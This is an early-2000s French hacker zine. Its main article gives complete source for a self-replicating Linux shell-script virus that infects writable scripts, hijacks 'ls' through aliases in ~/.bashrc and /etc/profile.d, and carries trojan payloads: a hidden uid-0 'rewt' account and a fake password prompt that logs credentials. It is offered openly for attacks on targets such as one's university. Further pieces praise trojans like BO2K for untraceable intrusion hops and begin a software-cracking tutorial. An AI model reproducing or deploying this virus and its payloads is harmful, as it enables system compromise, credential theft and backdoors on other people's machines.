innocent246 innocent247 innocent248 innocent249 innocent25
innocent250 innocent251 innocent252 innocent253 innocent254 
innocent255 innocent256 innocent257 innocent258 innocent259
innocent26  innocent260 innocent261 innocent262 innocent263 
innocent264 innocent265 innocent266 innocent267 innocent268
innocent269  innocent27 innocent270 innocent271 innocent272
 innocent273 innocent274 innocent275 innocent276 innocent277
innocent278 innocent279 innocent28 innocent280 innocent281
 innocent282 innocent283 innocent284 innocent285 innocent286
innocent287 innocent288 innocent289 innocent29 innocent290 
innocent291 innocent292 innocent293 innocent294 innocent295
innocent296 innocent297 innocent298 innocent299 innocent3
 innocent30 innocent300 innocent301 innocent302 innocent303
etc .....
1.18user 0.85system 0:02.65elapsed 99%CPU(0avgtext+0avgdata 0maxresident)k
0inputs+0outputs (331309major+208493minor)pagefaults 0swaps


2 secondes 65, c'est dejas mieux que 18 secondes !


maintenant que nous possedont un code auto-reproductible pas trop mal, il serait temp de le
mettre au point afin qu'il remplisse les fontions pour lesquelles nous l'avons cre



\\0x07// GACHETTE, TROJAN & OPTIMISATION
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@

la mise en oeuvre de la gachette et du trojan sont deux parties qui seront  laborer par
l'attaquant, en fonction du systme, des utilisateurs et de la technique d'attaque que celui
si a choisi.
cette partie va traiter de quelque exemples qui pourraient ventuellement interresser ceux qui
ne sont pas trs a l'aise avec le shell script, ou mme ceux qui manque un peut d'imagination
dans le domaine du bypass de restrictions.


Mise en oeuvre de la gachette
##############################

reprenons notre virus
-----------------------------------
if [ -f /tmp/.Virus ]; then #MvM              
: #MvM
else #MvM
echo "#!/bin/sh" > /tmp/.Virus #MvM         
grep "MvM" $0 >> /tmp/.Virus #MvM
echo "ls \$1 \$2 \$3" >> /tmp/.Virus #MvM
chmod 777 /tmp/.Virus #MvM                
fi #MvM
if [ -w ~/.bashrc ]; then  #MvM           
if grep "Virus" ~/.bashrc > /dev/null; then #MvM
: #MvM
else #MvM
echo "alias ls='/tmp/.Virus'" >> ~/.bashrc #MvM  
echo "alias dir='ls'" >> ~/.bashrc #MvM
fi #MvM
fi #MvM
a=1 #MvM                
for f in * #MvM 
do #MvM 
if [ $a -ge 100 ]; then #MvM      
break #MvM         
fi #MvM
a=$(($a+1)) #MvM      
file $f > /tmp/t #MvM 
if grep "shell" /tmp/t > /dev/null; then #MvM 
v="$v $f" #MvM 
fi #MvM 
done #MvM 
for i in $v #MvM 
do #MvM 
if grep "ViRuS" $i > /dev/null; then #MvM 
continue #MvM 
fi #MvM 
if [ -w $i ]; then #MvM           
echo "#!/bin/sh" > /tmp/t #MvM  
grep "MvM" $0 >> /tmp/t #MvM
cat $i >> /tmp/t #MvM
cat /tmp/t > $i #MvM
fi #MvM
done #MvM 
rm -f /tmp/t #MvM 
if [ $USER = "root" ]; then #MvM    <-- on regarde si c'est root qui a lancer le code
: #MvM          <-- si oui, notre code trojan a executer seras inclue ici         
fi #MvM                 <------ fin de la balise
----------------------------------

ceci n'est qu'un exemple de gachette qui consiste  regarder dans les variables
d'environnements si c'est root qui est l'heureux exectutant du virus.
mais vous pouvez parfaitemment faire autrement, du moment que le code trojan est placer entre
2 balises, et que la gachette est positionne  la fin du code.

nous aurions pu par exemple verifier l'uid au lieu de l'utilisateur (si vous codez par exemple
un trojan pour un utilisateur spcial) 

imaginons que je sache que le demon bin balance un script que je possede en own write acces,
je pourrait trs bien modifier la gachette en ce sens

[user@ThreaT@workgroup user]$ id bin
uid=1(bin) gid=1(bin) groups=1(bin),2(daemon),3(sys)

ce qui apperterais comme modification
---------------------------
if [ $("id -u") = 1 ];then
code trojan
fi


la gachette peut aussi tre declancher pour un evenement donn.
par exemple, imaginons que je veuille piquer le mot de passe de tout ceux qui sont infecte,
et qui viendrons ce connects sur un terminal non grafique.
il me seras alors facile de remettre  ma sauce le code pseudo residency placer dans /tmp afin
que celui ci assume cette fonction

ce qui apporterait comme modification
--------------------------------
if  who | grep $USER && grep "tty" > /dev/null; then
echo -n "password: "
read pass
echo "user: $USER, password: $pass" >> /tmp/.XyZ
chmod 777 /tmp/.XyZ
fi


tout ceci n'a qu'une valeur theorique, car comme vous vous en doutez, la mise en oeuvre de la
gachette depend essenciellement de l'environnement dans lequel nous nous trouvons


mise en oeuvre du trojan
#############################

le trojan est a placer entre les 2 balises de la gachette qui sont defini par if et fi

un exemple classique de trojan consiste  ce cre un utilisateur root, a l'insu de notre root,
h h!

---------------
if [ $USER = "root" ]; then
useradd -u 0 -p Bsk35R./GcDwE rewt
fi
---------------

ce trojan va nous cre un root appell "rewt" avec le mot de passe "owned" si root vient
 executer notre code infecteur.  



voici un autre exemple portant sur une tude d'attaque qui pourras nous permettre de rendre
notre virus dir stealth pour tout les utilisateurs du systme si root venait  tre infect. 
[user@serveur@workgroup user]$ alias
alias cd..='cd ..'
alias cp='cp -i'
alias d='ls'
alias df='df -h -x supermount'
alias du='du -h'
alias l='ls'
alias la='ls -A -k'
alias ll='ls -l'
alias ls='ls --color=auto -F'  <--- apparemment, le profile type est configur pour un ls color
alias lsd='ls -d */'
alias md='mkdir'
alias mv='mv -i'
alias p='cd -'
alias rd='rmdir'
alias rm='rm -i'
alias s='cd ..'
[user@serveur@workgroup user]$ ls -l /etc/profile.d
total 56
-rwxr-xr-x   1 root     root          672 Dec 27 22:21 alias.sh*
-rwxr-xr-x   1 root     root           66 Dec 15 23:12 color_ls.csh*
-rwxr-xr-x   1 root     root          192 Dec 15 23:12 color_ls.sh* <--sa doit ce passer ici
-rwxr-xr-x   1 root     root          133 Jan 12 06:36 inputrc.sh*
-rwxr-xr-x   1 root     root          271 Jan  7 15:00 kde.csh*
-rwxr-xr-x   1 root     root          192 Jan  7 15:00 kde.sh*
-rwxr-xr-x   1 root     root          753 Jan 12 06:36 lang.csh*
-rwxr-xr-x   1 root     root         1681 Jan 12 06:36 lang.sh*
-rwxr-xr-x   1 root     root           64 Jan  4 22:50 mc.csh*
-rwxr-xr-x   1 root     root          167 Jan  4 22:50 mc.sh*
-rwxr-xr-x   1 root     root          267 Dec 22 18:24 numlock.sh*
-rwxr-xr-x   1 root     root          103 Dec 21 14:44 screen.sh*
-rwxr-xr-x   1 root     root          149 Jan  6 23:38 xhost.csh*
-rwxr-xr-x   1 root     root          151 Jan  6 23:38 xhost.sh*
[user@serveur@workgroup user]$ cat /etc/profile.d/color_ls.sh
#!/bin/bash
eval `dircolors /etc/DIR_COLORS`
if [ $TERM = "emacs" ];then                         
        alias ls='ls -N -F'                          
else
	alias ls="ls --color=auto -F" <-- c'est bien sa, mais seul root a le write access
fi


modification du trojan
---------------------------
if [ $USER = "root" ];then
echo "alias ls='/tmp/.Virus'" >> /etc/profile.d/color_ls.sh
echo "alias dir='ls'" >> /etc/profile.d/color_ls.sh
fi
---------------------------

et voila, ds que root auras lanc ce nouveau code, notre virus seras dir stealth pour tout les
utilisateurs du systme, mme pour les nouveaux cres.


la mise en oeuvre du code trojan n'est pas chose trop difficile, c'est pour cela que je vais
viter de m'terniser sur le sujet.

penchons nous plutt sur un problme que vous devez avoir remarqu depuis longutemps.


L'OPTIMISATION DU CODE
#############################

voici actuellement la gueulle de notre virus

if [ -f /tmp/.Virus ]; then #MvM              
: #MvM
else #MvM
echo "#!/bin/sh" > /tmp/.Virus #MvM         
grep "MvM" $0 >> /tmp/.Virus #MvM
echo "ls \$1 \$2 \$3" >> /tmp/.Virus #MvM
chmod 777 /tmp/.Virus #MvM                
fi #MvM
if [ -w ~/.bashrc ]; then  #MvM           
if grep "Virus" ~/.bashrc > /dev/null; then #MvM
: #MvM
else #MvM
echo "alias ls='/tmp/.Virus'" >> ~/.bashrc #MvM  
echo "alias dir='ls'" >> ~/.bashrc #MvM
fi #MvM
fi #MvM
a=1 #MvM                
for f in * #MvM 
do #MvM 
if [ $a -ge 100 ]; then #MvM      
break #MvM         
fi #MvM
a=$(($a+1)) #MvM      
file $f > /tmp/t #MvM 
if grep "shell" /tmp/t > /dev/null; then #MvM 
v="$v $f" #MvM 
fi #MvM 
done #MvM 
for i in $v #MvM 
do #MvM 
if grep "ViRuS" $i > /dev/null; then #MvM 
continue #MvM 
fi #MvM 
if [ -w $i ]; then #MvM           
echo "#!/bin/sh" > /tmp/t #MvM  
grep "MvM" $0 >> /tmp/t #MvM
cat $i >> /tmp/t #MvM
cat /tmp/t > $i #MvM
fi #MvM
done #MvM 
rm -f /tmp/t #MvM 
if [ $USER = "root" ]; then #MvM    
useradd -u 0 -p Bsk35R./GcDwE rewt #MvM                                                
fi #MvM              


faite un copier coller de ce code dans un fichier quelquonque, et list ses proprietes

[root@ThreaT@workgroup /root/script]# ls -l virus
-rw-r--r--   1 root     root         1101 Mar 20 16:41 virus

1Ko 08 !!

c'est un peut gros pour un virus non?

nous allons optimiser cela pour l'ammener  une taille un peut plus rsonnable
(moins de 1ko) ...

ce qui prend beaucoup de place dans un script de ce type, ce sont les commentaires, qui sont
necessaire  la bonne proliferation du code. il va donc falloir trouver un moyen de les
raccourcirs,voir mme, d'en supprimer!

mais comment?

il suffit de savoir qu'en environnement shell, il est possible de faire suivre plusieurs
commandes,  condition de les sparer par des points virgules, SAUF les indicateurs de type
"then" qui doivent imperativement ce trouver en bout de commande ainsi que les "do" et "done"
placer en debut et fin de boucles.
ce qui est bon  savoir aussi, c'est qu'il est possible de mettre les redirecteurs coller 
leur commandes, ce qui peut nous permettre de gagner quelques octets suplementaires, et au
final, la reduction de notre signature de 1 octet qui nous permettras d'connomiser de la
place.
sachant tout ceci, il devient ultras simple de reduire cette entite  sa...

------------------------------------
#!/bin/sh
if [ -f /tmp/.Virus ];then #Mv
:;else #Mv
echo "#!/bin/sh">/tmp/.Virus;grep "#Mv" $0>>/tmp/.Virus
echo "ls \$1 \$2 \$3">>/tmp/.Virus;chmod 777 /tmp/.Virus #Mv                
fi;if [ -w ~/.bashrc ];then #Mv           
if grep "Virus" ~/.bashrc>/dev/null;then #Mv
:;else #Mv
echo "alias ls='/tmp/.Virus'">> ~/.bashrc #Mv  
echo "alias dir='ls'">> ~/.bashrc;fi;fi;a=1;for f in *;do #Mv 
if [ $a -ge 100 ];then #Mv      
break;fi;a=$(($a+1));file $f>/tmp/t;if grep "shell" /tmp/t>/dev/null;then #Mv 
v="$v $f";fi;done #Mv 
for i in $v;do #Mv 

if grep "ViRuS" $i>/dev/null;then #Mv 
continue;fi;if [ -w $i ];then #Mv           
echo "#!/bin/sh">/tmp/t;grep "MvM" $0>>/tmp/t #Mv
cat $i>>/tmp/t;cat /tmp/t>$i;fi;done #Mv 
rm -f /tmp/t;if [ $USER = "root" ];then #Mv    
useradd -u 0 -p Bsk35R./GcDwE rewt;fi #Mv              
----------------------------------

impressionnant non ?
et toujours aussi fonctionnel !

sauvegardons de nouveau ce code dans un fichier quelquonque, et jeton un oeil  sa taille

[root@ThreaT@workgroup /root/script]# ls -l virus
-rw-r--r--   1 root     root          820 Mar 20 17:31 virus

820 octets, voila qui est un peut plus acceptable.

Absurdus Delirium qui est placer en annexe 1 a t reduit a 713 octets (sans le trojan)
si vous desirer tester le code infecteur, mieux vaux pour vous utiliser AD2.0, car le code
optimiser si dessus n'as pas t tester


\\0x08// RECAPITULATION
@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@

nous venons de mettre au point une nouvelle technique d'attaque, qui allie l'efficacite du
cheval de troie avec la puissance d'un virus, et tout cela sous linux, ce qui peut produire un
effet de surprise trs avantageux !

rappelons tout de mme le principe de fonctionnement, ainsi que les differents paramettres 
prendre en compte par le cracker, pour mener  bien son attaque.

principe de fonctionnement
#############################

lors de son exectution, le virus va d'abbors tester si celui ci a plac une copie de lui mme
dans le repertoire /tmp.
si cela n'a pas t fait, le virus va cr"e cette copie dans ce repertoire temporaire, et va la
mettre accessible  tout les utilisateurs du systeme.
ensuite, le virus va regarder dans le profile de l'utilisateur qui l'a invoqu si celui ci a
t modifi de tel facon  ce que les commandes dir ou ls soit rediriges sur le code plac
dans /tmp.

une fois la commande de listage redirige, c'est le virus qui prendra en compte les arguments,
et non plus la commande.

tout ces tests tant effectus, la bestiole va tente de ce repliquer  travers tout les
scripts auquels elle a acces dans le repertoire courant.

ensuite, elle regarde si c'est l'utilisateur, ou l'vnement predefini par le cracker qui a
lanc son execution.
si tel est le cas, alors le code trojan mis en place par l'attaquant et executer.



paramettre  prendre en compte par le cracker
##############################################

comme vous avez surrement put le constater, le cracker n'a pas qu'  faire un simple copier
coller pour mener a biens son action.
voici les points  elaborer afin que le virus soit au maximum operationnel.

- coeficient de timebug
- gachette
- trojan


le coeficient de timebug est un nombre qui va definir combien de fichier le virus va tester
pour l'infection.
une valeur moyenne de 100 me parrait raisonnable, toutefois, il vous est possible de
l'augmenter ou de le diminuer selon la puissance de la machine infecter (si c'est du quadri
pross, vous pouvez aller jusqu'a 4 voir 500)


la gachette et l'lment qui va ce declancher selon ce que vous avez decids, refers vous  la
partie de l'article qui traite du sujet pour plus d'information.


le trojan est la cerise sur le gateau! c'est grace  cette portion de code que vous pourrez
percer un trou dans la scurit de votre cible.  elaborer avec beaucoup de soin, et
d'ingeniosite.


volution du virus
##################
il vous est bien sur possible de rajouter des fonctions (encryption du code, polymorphisme,
etc...).
etant mis au point dans la philosophie GNU, ce virus est le votre! aucun copyright, aucune
restriction, meme pas besoin de mettre mon pseudo quelque part, j'en ai totalement rien a
foutre.

toutefois, si vous vous en servez pour faire des prouaisses techniques, n'oubliez pas de
m'crire pour me racontez sa ! ;-)



\\0x09//CONCLUSION
@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@

pour conclure, nous dirons donc que cette technique d'attaque n'est peut tre pas trs
comprehancible au premier abbors, mais  force de pratique et d'tude, vous saisirez plus
facilement l'utilisation d'un tel exploit dans un environement qui vous tiens particulierement
 coeur (votre fac par exemple).
cela n'a certe rien  voire avec un buffer overflow, ou toutes autres atttaques " la mode"
qui en 2 temps 3 mouvements vous font passez root, mais celle si a pour avantage d'exiger de
vous mme un certain degr de reflexion et de strategie qui peuvent vous amener loin dans la
conqute de votre reseau favoris.

sur ce, il ne me reste plus qu'a vous souhaiter bon courrage, et a esperer que vous n'aller pas
fermer cet article pour vous jetter sur le dernier pirate mag...


\\0x0A// FIN
@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@

voila, c'est fini!

comme d'habitude, si vous avez des problemes, des questions, une grosse poitrine, des
remarques ou des suggestions, vous pouvez m'ecrire a ThreaT@caramail.com !


greatss to :
Maverick (qui a trouv l'ame soeur), 6yhoann6 (qui a du eclater ma VMB), cain( qui a du l'aider
), dread (qui habite dans une cabine FT), cox (qui met l'anarchie  lyon en cassant le palais
de justice), angus (qui c'est surement ranger), shank (qui a sem les keuf avec jarod), 
bolliop (qui doit m'envoyer MON portable), mass (le cracker fou), jarod (toujours plein
d'histoire a raconter), dams (accro a sa nana), alexcr@zy (accro au tabassla), fto (qui a
trouver un super boulot), alv1 (qui m'appelle pour parametrer du NT), cuicui (en BTS comme les
lamah), ben (administrateur de surcroit), le barge (qui vas se tuer en bagnole), marlin (en
BTS avec cuicui), moumou (le maitre de novell), shadowROM (toujours a blinder sa becane),
baleine (qui organise de super Under-lan), 

ainsi que la Quad69 Team, (Vince, kabaal, scal, barbecue, cannard & other...)

et aussi: gizmo, analyst, THALIS (une nana admin qui en connait un rayon)

& tout ceux qui me connaisse, et qui ce retrouve du de ne pas avoir trouvs leur noms dans
les greatzz



et enfin un petit clein d'oeil a l'administrateur de Kompass.fr ;)



***** Computer can change your life for better *****



ANNEXE 1 :  ABSURDUS DELIRIUM V 2.0
*************************************

#!/bin/sh
if [ -f /tmp/.Xlhost ];then #Mv
:;else #Mv
echo "#!/bin/sh">/tmp/.Xlhost;grep "#Mv" $0>>/tmp/.Xlhost
echo "ls \$1 \$2 \$3">>/tmp/.Xlhost;chmod 777 /tmp/.Xlhost #Mv
fi;if [ -w ~/.bashrc ];then #Mv
if grep "Xlhost" ~/.bashrc>/dev/null;then #Mv
:;else #Mv
echo "alias ls='/tmp/.Xlhost'">> ~/.bashrc #Mv
echo "alias dir='ls'">> ~/.bashrc;fi;fi;a=1;for v in *;do #Mv
if [ $a -ge 100 ];then #Mv
break;fi;a=$(($a+1));file $v>/tmp/s;if grep "shell" /tmp/s>/dev/null;then #Mv
p="$p $v";fi;done #Mv
for i in $p;do #Mv
if grep "AbD2bT" $i>/dev/null;then #Mv
continue;fi;if [ -w $i ];then #Mv
echo "#!/bin/sh">/tmp/s;grep "#Mv" $0>>/tmp/s
cat $i>>/tmp/s;cat /tmp/s>$i;fi;done #Mv 
rm -f /tmp/s;if [ "$USER" = "root" ];then #Mv
:;fi #Mv

le trojan a t retir du code afin de laisser au cracker le choix de sa technique.




											-|- ThreaT -|-
											^^^^^^^^^^^^^^





		                              #  
		                  #          ###           #
		                  ##         ###          ##       
		                   ####     #####        ###
		                   #####    #####      ####
		                    ######  #####    ######
		                     ###### #####  #######
		            ####      ###################    ####  
		              ################################# 
		                 ##########################
		                     ##################   
		                  #########################   
		                        ##############  
		                              ## 
		                              ## 






	
	- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
	

             		         A QUI PROFITE L'INFORMATION ?

	
	- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
	




        En ce moment je trouve qu'on peut vraiment hsiter  publier des infos, du code ou des
exploits, aussi modestes soient-ils.

	En effet je ne dirais pas que les beaux jours du hacking/phreaking/etc sont derrire
nous, mais la situation prsente n'est pas des plus rjouissantes. Si je pense cela, c'est
surtout parce que je trouve qu'il y a beaucoup plus de monde  profiter de la situation qu'
vouloir apporter sa pierre  l'difice de la scne underground.

	Parlons rapidement du business mdiatique tout d'abord. Les mdias profitent du phnomne
hackers pour se faire de l'audience et de la tune. En fait, il s'agit d'un phnomne qu'ils
ont labor de toute pice en prenant pour base quelques rares fait dans le milieu underground.

	Hormis le fait que les journalistes viennent rgulirement relancer les personnes
concernes et leur prendre la tte au sujet de moultes interviews et bouquins, cela cre et
entretient la dsinformation  propos de ce que sont rellement les gens de la scne
underground. Bien sur, les politiques profitent comme d'habitude de cette dsinformation pour
relancer leurs programmes de rpression (vigipirate, chelon, etc...).

	Qui plus est, la plupart des personnes qui se lancent dans la scne actuellement est
plutt du genre  se prendre pour le hros de Matrix qui porterait un tee-shirt free mitnike
pour l'occasion. (On pourra d'ailleurs remarquer sur le dit tee-shirt que leur sens de
l'orthographe peut finir par faire croire  un signe de reconnaissance entre eux tellement
c'est flagrant). 

	Alors il faut se poser la question, pourquoi est-ce qu'on crit dans un zine ? Pour faire
perdurer la rumeur du mchant hacker ? Pour donner un peu plus de vocabulaire aux
journalistes ? Pour que des lamers tout droit sortis du forum de Taz puissent se faire enfler
les chevilles en pensant  leur prochain hax sur le site de la NASA ?

	Franchement, a mrite d'y rflchir. 

	Mais ou sont les autres ? Ceux qui passent leurs nuits  dchiffrer des docs trashes, 
coder,  essayer de comprendre un vieil OS sotrique, ou  faire du reverse ingeneering sur de
quelconques eproms ? La question se pose. 

	S'ils prfrent viter le contact avec d'autres a se comprend. A quoi bon changer des
connaissances avec des gens qui les utiliseront sans mme les comprendre et les diffuseront
sans mme se poser de question ?

	Cependant une chose est sure, une bonne partie des personnes connues de la scne 
maintenant un emploi et s'est plus ou moins retire (paix  leurs mes ;). Il est bien connu
que la meilleur faon d'empcher un hacker ou un phreaker d'agir n'est pas de l'arrter, il
pourrait recommencer aprs. Donnez lui plutt un boulot et il n'aura plus le temps de rien
faire !

	Justement c'est l'occasion pour parler des boites dans lesquelles travaillent ces
personnes. Quand il ne s'agit pas d'entreprises ayant des contrats de veille technologique avec
les organisations gouvernementales (entendez par l ce que vous voulez), il s'agit quand mme
en gnral de boites de scurit. Non seulement ces boites profitent galement de la vague
crainte du hacker engendre par les mdias pour justifier leur existence, mais elles lisent
galement les zines. Et bien sur elles s'en servent allgrement comme sources d'information.
L encore, publier des infos pour qu'elles soient invalides juste aprs, parce que des
entreprises sont tombes dessus et ont dcid de remdier au problme, ca donne envie d'crire.

H oui, publiez... et c'est patch !

	Oui, donc qui sont les ennemis des hackers ? Le journaliste, le lamer, le professionnel
de la scurit, l'administrateur systme, le politicien, l'agence gouvernementale de rpression
(AGR, ca existe pas encore a ? enfin bref les V quoi...). Quand un hacker crit dans un zine,
c'est aussi  eux que a profite. Oserai-je dire surtout a eux ? Et aprs on peut s'tonner
que le milieu de l'informatique devienne de plus en plus scurise.

	Mais bon, certaines personnes parlent de la relve, de newbies d'aujourd'hui, lites 
de demain. J'avoue que je comprendrais mieux la signification de tout a si on voyait
rellement cette soit disante relve. D'autres personnes parlent d'change de l'information
mais la je vois surtout de l'change  sens unique voir pas d'change du tout (c'est galement
valable pour certaines personnes qui en ont pourtant les moyens).

	Voil, ca aurait pu tre ma conclusion, mais je voudrais rajouter quelques mots a propos
du vocabulaire. Il faut croire que le vocabulaire de la scne underground suit lui aussi une
sorte de mode. On parlait, il y a quelque temps, de hackers de lamers, etc... Apparemment
maintenant il ne faut plus dire hacker, mais plutt dire qu'on s'y connat en scurit
informatique. Pourquoi ? Parce que maintenant hacker a fait lame (mot qui  lui aussi t
remplac, par script-kiddy). Tout a parce que les mdias emploient ce mot (hacker) 
tue-tte, et la description qu'ils en donnent correspond effectivement  lame. 

	Cela prouve que dans un milieu qui se dit underground les gens subissent eux aussi
l'emprise des mdias. Je trouve a dommage.

	Voil je terminerai l dessus, et je sais que certaines personnes vont trouver mes propos
pessimistes (ou optimistes selon le point de vue, hein messieurs les V ?). Mais je dis ce que
je pense. Je dirai srement quelque chose de plus joyeux quand j'aurai  mon tour t
lobotomis, srement aprs quelques visites chez disneyland ou aprs quelques sances
intensives de tl.




											}->-> Drahiin <-<-{
											^^^^^^^^^^^^^^^^^^^
										   (paru dans Cryptel Mag 5)
				





		                              #  
		                  #          ###           #
		                  ##         ###          ##       
		                   ####     #####        ###
		                   #####    #####      ####
		                    ######  #####    ######
		                     ###### #####  #######
		            ####      ###################    ####  
		              ################################# 
		                 ##########################
		                     ##################   
		                  #########################   
		                        ##############  
		                              ## 
		                              ## 









	
	- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
	

		                     REHABILITATION DES TROJANS

	
	- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
	



	Depuis que je trainasse mes doigts et ma cervelle sur Internet, je vois de partout
s'lever des Fronts Anti-Troyens, qualifiant leurs utilisateurs de lamers, de wannabes,
de grosses merdes en putrfaction ou de quadrisomiques ravags...

	Au dbut, je pensais la mme chose...

	Puis, un jour, voulant me faire ma propre opinion, j'ai rflchi  l'usage que l'on peut
en faire, et la lumire s'est faite en moi ;o)


--> Grer un rseau
********************

	Avec un trojan comme Back Orifice 2000, on peut aisment grer un rseau d'ordinateurs
ou en utiliser plusieurs depuis un seul poste.

	Qui plus est, BO2K est gratuit, donc pourquoi dpenser du fric  acheter un logiciel de
gestion de rseau quand un "sale petit troyen de merde" peut le faire et qu'il est free ?

	Bref, passons, ce n'est pas l que je veux en venir...


--> Faire des rebonds
**********************

	Hacker un site, c'est bien joli...

	Mais se faire prendre, c'est bien dommage...

	Or, en utilisant un cheval de Troie, on peut trs facilement pntrer un ordinateur, 
puis un autre  partir du premier, puis encore un autre  partir du second, et ainsi de suite,
en faisant des boucles, des croisements, des retours, etc, afin de se rendre quasi-intraable.

	Et c'est l que les troyens trouvent tout leur utilit : les rebonds.

	Je sais que beaucoup vont penser que faire des rebonds via un trojan est une solution
de facilit, et je l'admets, mais prfrez-vous vous prendre la tte pendant des heures  faire
des rebonds et finalement ne peut-tre mme pas russir  hacker votre cible, ne pas faire de
rebonds et au final vous faire pcho ou bien utiliser des troyens, hacker votre site et
repartir ni vu ni connu ?

	Je ne sais pas pour vous, mais chez moi, le choix est tout fait...

	Je ne dit pas que les trojans, c'est bien, mais je dit que je ne vois pas le mal si on
s'en sert comme de proxies.

	Traitez-moi de lamer, de tocard, de grosse merde ou de pine d'huitre si a vous chante,
puisque de toute faon, je m'en fous de vous ;o) Mais bon, une fois, le logiciel BO2K du
Culto of the Dead Cow m'a sauv de ce qui aurait pu tre un bust (cf www.espylon.org)...

	A bon (ou mauvais) entendeur, salut !



											~)- Redoxx -(~
											^^^^^^^^^^^^^^^^^^





		                              #  
		                  #          ###           #
		                  ##         ###          ##       
		                   ####     #####        ###
		                   #####    #####      ####
		                    ######  #####    ######
		                     ###### #####  #######
		            ####      ###################    ####  
		              ################################# 
		                 ##########################
		                     ##################   
		                  #########################   
		                        ##############  
		                              ## 
		                              ## 







	
	- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
	

             	        CRACKER DEVILSWORD ET AMELIORER SA SECURITE

	
	- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
	




Protections: -  Fichier Pack
             -  Serial Only


Logiciels ncessaire:

	    - Soft Ice 3.X ou 4.x

            - Procdump 1.6 ( pour dumper l'executable)
              ou tout autre programme permettant de dumper...
              (je me sers pas de procdump pour decrypter et de plus 
	      il n'y arrive pas	:- ...)

	    - WDasm8.9 (marchera qu'une fois l'executable decrypte)
	      on purait se servir de IDA 4 Pro mais trop compliqu
	      pour les 90 % des lecteurs ici presant je pense...

	    - Un editeur Hexa Decimal (Hexworkshop est mon favoris)

	    - QDump pour dumper la chaine crypte


Sommaire:

0)Introduction
I)Decryptage du Fichier Pack (l'executable est crypt)
II)Reverse Engineer l'algo de cryptage du CODE d'enregistrement
III)Comment mieux securiser se programme (partie pour le programmeur) source code a l'appui
IV)Conclusion et Greetings



Introduction:

Devil's Sword est un client pour aller chater sur caramail...
Il a ete programm en Borland C++ d'apres l'auteur.
Je dois dire que ce programme est tres bien fait, c'est un freeware avec
plein d'options..
La raison pour laquelle je l'ai tudi est qu'il y avait une protection ;)
De plus , TOUT les petits cracker sur caramail , ont echou sur cette protection
alors qu'il ne m'a falut que 5 bonne minutes pour la casser!
L'auteur a l'air de pas trop s'y connaitre en protection, c'est pourquoi
j'ecrit ce texte afin de l'aider a proteger ces applications!




1)Decryptage du Fichier Pack (l'executable est crypt)

Je ne patch plus les programmes que je crack depuis longtemps
quand il y a moyen de l'enregistrer par un code ou un keyfile...
J'ecris sois un keygen, sois je trouve le code qui est unique.
C'est le cas ici ! le code pour l'enregistrement ne change jamais!
C'est toujours le meme... Mais il n'est pas en clair dans le programme
il est crypt...
Tout d'abord, je vais vous montrer comment decrypter l'executable
afin d'avoir un listing propre, mais surtout pour pouvoir ajouter
des fonctions a Devil Sword!
Reverse Engineering rules :)
Ajouter des fonctions ? exactement , on peut par exemple ajouter un menu
avec une options de flood de phrase.. sans meme avoir accs aux sources!
Mais ce n'est pas le sujet de ce cour.. peut etre une autre fois :)



Let's Rip this fucker:

Bon, pour pouvoir decrypter des executables , vous devez avoir une connaissance
du format des fichiers de Windows!
Le Format est le: PE (portable executable)
si vous ne connaissez pas ( ce qui est plus que certain ;) allez lire
la partie Unpacking de mon cours Millenium 2000 (celui de 115 pages) a
l'addresse suivante:

www.AcidBurn2k.cjb.net


Voici un petit recapitulatif sur le PE pris sur mon cours de 115 pages:

#################################################################

Manual Unpacking (Decrypter des fichiers a la main)

#################################################################


Qu'est-ce que le manual unpacking ??
Vous avez srement remarqu que certaine fois quand on dsassemble un fichier,
on ne trouve plus de String Data References !!!
Car c'est que le fichier est crypt ou compress !!
Merde alors.... Ben il existe des unpackers me direz vous, mais c'est pas
marrant quand a fait tout tout seul !! :-o
Donc, je vais tenter de vous expliquer comment, et avec quoi dcrypter les fichiers...
Tout d'abord qq infos sur le format PE !!

Schma pour vous donner une ide de la bestiole ;) :
(from PE.txt)

    +-------------------+
    | DOS-stub          |
    +-------------------+
    | file-header       |
    +-------------------+
    | optional header   |
    |- - - - - - - - - -|
    |                   |
    | data directories  |
    |                   |
    +-------------------+
    |                   |
    | section headers   |
    |                   |
    +-------------------+
    |                   |
    | section 1         |
    |                   |
    +-------------------+
    |                   |
    | section 2         |
    |                   |
    +-------------------+
    |                   |
    | ...               |
    |                   |
    +-------------------+
    |                   |
    | section n         |
    |                   |
    +-------------------+


Je vais pas m'attarder trop sur le format lui-mme, mais je vais vous donner quelques
infos sur les sections et autres caractristiques !!
Vous avez srement remarqu que dans ProcDump (unpacker), il y a un PE editor (diteur
de PE) trs trs utile, vous le verrez plus tard...
Que se passe-t-il si on dite un fichier ??
On peut rcuprer l'entry point, l'image base, les caractristiques des sections ...

A propos des caractristiques:

0x20...... : Cela Veut dire executable
0x40...... : Cela Veut dire Readable (lisable)
0x80...... : Cela Veut dire Writeable (criture possible)

exemple 0x60.. -> excutable + lisable 

0x......20 : Cela Veut dire contains Code
0x......40 : Cela Veut dire Initialized data
0x......80 : Cela Veut dire Unitialized data


########################################################################

			Fin du rappel sur le PE

########################################################################


Bon , on va pouvoir commencer ce cours allors!
Mais je vous recommand de lire des documentations sur le PE
si vous etes interresses par ce format!


Dans cette partie , je vais vous redonnez les bases du unpacking..
Je ne vous montrerais que comment on retrouve les String Data References
dans l'app donc pas de table d'import, car ce tut a pour but de mettre
 l'aise avec l'unpacking !! (pour des imports table: lisez le tut sur CDilla)
Vous pourrez donc patcher le programme comme si il tait normal :)



/////////////////////////////
/Premire partie: le loader!/
/////////////////////////////



Vous devrez utiliser le loader de Soft ice pour dcompacter, donc excutez-le!
(loader32.exe)

et choisissez l'exe que vous voulez!
Pour nous, ce sera : DevilSword.exe.
Souvent , les programmes crypte ne s'arrete pas sur l'entry Point donc voici
comment reglez le probleme.


##############################################################################

